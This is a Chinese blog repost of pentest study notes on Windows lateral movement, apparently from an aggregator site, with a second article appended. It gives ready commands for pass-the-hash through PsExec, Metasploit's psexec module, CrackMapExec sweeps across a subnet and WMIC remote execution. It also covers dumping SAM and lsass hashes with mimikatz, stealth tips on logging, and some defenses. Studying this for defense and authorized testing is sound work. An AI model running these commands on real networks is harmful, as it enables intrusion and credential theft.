内网横向之PTH

Posted Mauro_K

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网横向之PTH相关的知识,希望对你有一定的参考价值。

文章目录


前言

      内网横向之PTH,以前的笔记整理,方便查看翻找。本文包括PsExec、CrackMapExec和WMI。


一、PsExec

1.概念描述

     psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。

2.利用注意点

  • 需要远程系统开启 admin$ 共享(默认是开启的)
  • 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
  • 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
  • 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务, 命令执行完后,psexec服务将被自动删除。由于创建或删除服务时会产生 大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
  • 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是 administrator 权限的 shell。
  • 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能, 只能依靠账号和密码进行传递。

3.靶机利用之第一种

     第一种直接利用psexec程序方式。

# 使用账号和明文密码
# 参数解释:
# -accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
# -s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell
直接直接执行回显
# -u 域/用户名
# -p 密码/hash
PsExec64.exe /accepteula /s \\\\192.168.0.123 -u Administrator -p 123456 cmd.exe
PsExec64.exe  \\\\192.168.0.141 -u Administrator -p 123456 cmd.exe /c "ipconfig"


# 使用账号和hash
# 参数解释:
# -accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
# -s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell
直接直接执行回显
# -u 域/用户名
# -p 密码/hash
PsExec.exe /accepteula /s \\\\192.168.0.141 -u Administrator -p 123456 cm
d /c "ipconfig

4.靶机利用之第二种

     1)第二种是Metasploit中的psexec模块。先利用hashdump获取hash。
     2)在MSF中搜索psexec,使用然后配置参数使用。

use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba885473
76818d4



二、CrackMapExec

1.概念描述

     CrackMapExec 可以对 C 段中的主机进行批量 pth或者密码喷洒,项目地址:https://github.com/Porchetta-Industries/CrackMapExec。kali可以直接sudo apt install crackmapexec安装。

2.靶机利用

     对192.168.9.0/24 C 段进行批量 pass the hash。

crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba
88547376818d4

三、WMI

1.概念描述

     WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

2.靶机利用

     WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中。使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)。

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\\ip.txt


     建立 IPC$ ,使用 type 读取执行结。

内网渗透测试理论学习之第四篇内网渗透域的横向移动

文章目录

在内网中,从一台主机移动到另外一台主机,可以采取的方式通常有文件共享计划任务远程连接工具客户端等。

一、IPC

IPC(Internet Process Connection)是为了实现进程间通信而开放的命名管道。
IPC可以通过验证用户名和密码获得相应的权限,
通过ipc$可以与目标机器建立连接,利用这个连接可以在目标机器上运行命令。

net use \\\\192.168.1.1\\ipc$ "pass" /user:adstudy\\administrator

利用条件:开启139、445端口;管理员开启了默认共享

二、HashDump

LM Hash“LAN Manager Hash”,本质是DES加密,还是硬编码密钥,从Windows Vista和Windows Server 2008开始默认禁用,
dump出的LM Hash为“**aad**3b435b51404eeaad3b435b51404ee”表示为空或被禁用

NTLM Hash,“New Technology LM Hash”,MD4加密。

Hash散列可以通过在线数据库、彩虹表等来破解,也可以使用PTH(Pass the Hash 哈希传递)来进行横向渗透。

要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至System
本地用户名、散列值和其他安全验证信息都保存在SAM文件中。
lsass.exe进程用于实现Windows的本地安全策略和登陆策略。
可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。

e.g. GetPassword、PwDump7、QuarksPwDump、mimikatz、PowerShell

SAM文件保存位置C:\\Windows\\System32\\config,该文件不允许复制,但可以使用U盘进入PE系统进行复制。

利用reg导出SAM和System文件,通过mimikatz或者Cain来从文件读取hash

利用任务管理器或者微软出品的Procdump导出lsass.dmp文件,通过mimikatz来从内存文件中获取hash

Windows Server 2012开始默认关闭WDigest,使攻击者无法从内存中获取明文密码;2012以下版本,如果安装KB2871997补丁,同样效果。WDigest功能状态可以在注册表中查看修改。

Hashcat只支持CPU破解;oclHashcat支持GPU破解(AMD、NIVDA),支持破解Windows密码、Linux密码、Office密码、Wi-Fi密码、MySQL密码、SQL Server密码,以及由MD5、SHA1、SHA256等国际主流加密算法加密的密码。

如何防范hashdump?

1、Windows Server 2012 R2新增了一个名为受保护的用户组(Protected Users),只要将需要保护的用户放入该组,攻击者就无法使用mimikatz等工具抓取明文密码和散列值了。

2、安装KB2871997,是微软用来解决PsExec或IPC远程查看(c$)问题的补丁,能是本地账号不再被允许远程接入计算机系统,**但是SID=500的本地管理员账号(默认Administrator)除外**。

3、微软在Windows XP中添加了一个名为WDigest的协议,该协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机。

4、根据Debug权限确定哪些用户可以将调试器附加到任何进程或内核中,默认情况下只有Administrator。mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需要和lsass进程进行交互)。将Administrator从Debug组中移除。

三、PTH

PTH(Pass the Hash 哈希传递)。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。

在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证)。从Windows Server 2012 R2开始,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

进行身份验证时,不会使用明文口令,而是将明文口令通过系统API转换成散列值,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。不过,攻击者在获得密码散列值之后,依旧可以使用pth攻击来模拟用户进行验证。

使用NTLM Hash进行哈希传递;使用AES-256秘钥进行哈希传递(Pass the Key)。

e.g. mimikatz

四、PTT

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。mimikatz同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递(Pass the Ticket,PTT)。

五、PsExec

PsExec是微软官方PsTools工具包中的软件,期初主要是用于大批量Windows主机的运维,在域环境下效果甚好。

通过PsExec,可以在远程计算机上执行命令,也可以将管理员权限提升到System权限以运行指定的程序。

PsExec的基本原理是:通过管道在远程目标计算机上创建一个psexec服务,并在本地磁盘中生成一个名为“PSEXECSVC”的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。

需要远程系统开启admin$共享(默认是开启的),会产生大量日志。

e.g. Metasploit

六、WMI

WMI,Windows Management Instrumentation,从Windows 98开始支持,可以在本地或者远程管理计算机系统。

自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用wmiexec进行横向移动时,Windows默认不会记录WMI的操作日志。

使用wmic远程执行命令,在远程系统中启动Windows Management Instrumentation服务(目标服务器需要开放135端口,wmic会以管理员权限在远程系统中执行命令)。如果服务器开启了防火墙,wmic将无法进行连接。此外,wmic命令如果没有回显,可以将命令结果输出到某文件,并使用ipc$和type来读取信息。如果wmic执行的是恶意程序,将不会留下日志。

e.g. wmic、wmiexec.py、wmiexec.vbs、Invoke-WmiCommand.ps1、Invoke-WMIMethod

七、DCOM

DCOMDistributed Component Object Model,分布式组件对象模型)是微软的一系列概念和程序接口。
通过DCOM,客户端程序对象能够对网络中的另一台计算机上的服务器程序对象发送请求。

DCOM是基于组件对象模型(COM)的。
COM提供了一套允许在同一台计算机上的客户端和服务端之间进行通信的接口。

执行流程同样:通过ipc$连接远程计算机;执行命令。

八、SPN

微软给与内的每种资源分配了不同的服务主体名称(Service Principal Name,SPN)。

因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上

SPN扫描也称作“扫描Kerberos服务实例名称”,在活动目录中发现服务的最佳方法就是SPN扫描。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因触发内网中的IPS、IDS等设备的规则而产生大量的警告日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度较大。

SPN是通过LDAP协议向域控制器进行查询的,所以,攻击者只要获得一个普通的域用户权限就可以进行SPN扫描。

Kerberoast攻击。导出票据,破解票据。

防御:确保服务账号密码的长度超过25位;确保密码的随机性(避免相同);定期修改密码。

九、Exchange

电子邮件中可能包含大量的源码、企业内部通讯录、明文密码、敏感业务登陆地址及可以从外网访问内网的VPN账号密码等信息。

Exchange支持PowerShell对其进行本地或远程操作。

邮箱服务器、客户端访问服务器、集线传输服务器是核心角色,只要部署这三个角色就能提供基本的电子邮件处理功能,且这仨可以部署在同一台主机上。

邮件发送使用统一的通信协议,即SMTP(简单邮件传输协议);邮件接收则会使用多种协议标准,如从POP(邮局协议)发展而来的POP3,以及使用较为广泛的IMAPInternet邮件访问协议)。Exchange开发了私有的MAPI协议用于收取邮件。

Exchange支持的访问接口和协议:

  • OWA(Outlook Web App):Exchange提供的Web邮箱。
  • EAC(Exchange Administrative Center):Exchange管理中心,后台。
  • Outlook Anywhere(RPC-over-HTTP,RPC/HTTP)
  • MAPI(MAPI-over-HTTP,MAPI/HTTP)
  • Exchange ActiveSync(EAS,XML/HTTP)
  • Exchange Web Service(EWS,SOAP-over-HTTP)

Exchange服务发现:基于端口扫描发现(nmap)、SPN查询(在安装Exchange时,SPN就被注册在AD中了)

Exchange数据库的后缀为“.edb”,存储在Exchange服务器上,使用PowerShell可以查看相应信息。

Exchange邮件的文件后缀为“.pst”

UNCUniversal Naming Convention,通用命名规则,也称通用命名规范、通用命名约定)。类似于\\\\hostname\\sharename\\\\ip\\address\\sharename的网络路径就是UNC路径,sharename为网络共享名称。

以上是关于内网横向之PTH的主要内容,如果未能解决你的问题,请参考以下文章

内网横向之PTH

内网渗透测试理论学习之第四篇内网渗透域的横向移动

网安学习-内网渗透3

内网安全域横向内网漫游Socks代理隧道技术

内网安全-记一次内网靶机渗透

Web安全之越权操作:横向越权与纵向越权